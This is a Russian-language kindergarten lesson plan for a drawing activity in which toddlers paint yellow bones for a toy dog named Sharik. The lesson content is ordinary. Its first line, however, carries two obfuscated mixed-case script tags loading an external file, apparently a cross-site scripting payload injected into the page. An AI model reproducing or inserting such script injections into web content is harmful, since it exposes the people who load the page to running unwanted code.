<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

12.01.2019

Дата: 09.01.2019 г.

Возрастная группа: первая младшая группа № 2.

Количество детей: 13

Воспитатель: Кусаинова С.С.

Раздел: Рисование.

Тема: «Косточка для собачки»

Содержание:

1.Продолжать прививать интерес к совместным действиям со взрослым (дополнять рисунок, выполненный взрослым). Закреплять умение рисовать кисточкой, проводить прямые линии в разных направлениях. Развивать речевую активность.

 Ход занятия:

В гости к детям приходит собака по имени Шарик. Дети узнают домашнее животное и воспроизводят голос собаки. Воспитатель активизирует словарь детей, показывая на части тела собаки (глаза, уши, мордочку, нос, хвост, передние и задние лапы). Воспитатель спрашивает у детей: Как зовут собаку? (Шарик). Какого цвета шерстка у Шарика? (черная, гладкая). Что любит есть Шарик? (мясо, грызть кости). Физминутка «Собака». Чтение рассказа Л.Славиной «Щенок». Воспитатель спрашивает: Как звали мальчика? (Петя). Куда спрятался Шарик? (под кровать).

Пальчиковая гимнастика «Собачка». Воспитатель сообщает ,что-то Шарик загрустил. Шарик сообщает, что он  проголодался. Воспитатель предлагает детям помочь Шарику приготовить угощение. Дети проявляют желание

помочь Шарику. Воспитатель раздает вырезанные из картона кружочки-тарелочки разного цвета с косточкой. Дети выбирают тарелочки, раскрашивают косточки в желтый цвет. Дети рисуют, по окончании работы угощают Шарика косточками. Шарик благодарит детей и уходит. Воспитатель задает детям наводящие вопросы и с помощью смайликов проводит рефлексию.

Результат: знают, что собака домашнее животное, части тела собаки; имеют представление о способе проведения кисточкой прямых линий в разных направлениях; умеют рисовать кисточкой и дополнять рисунок, выполненный взрослым.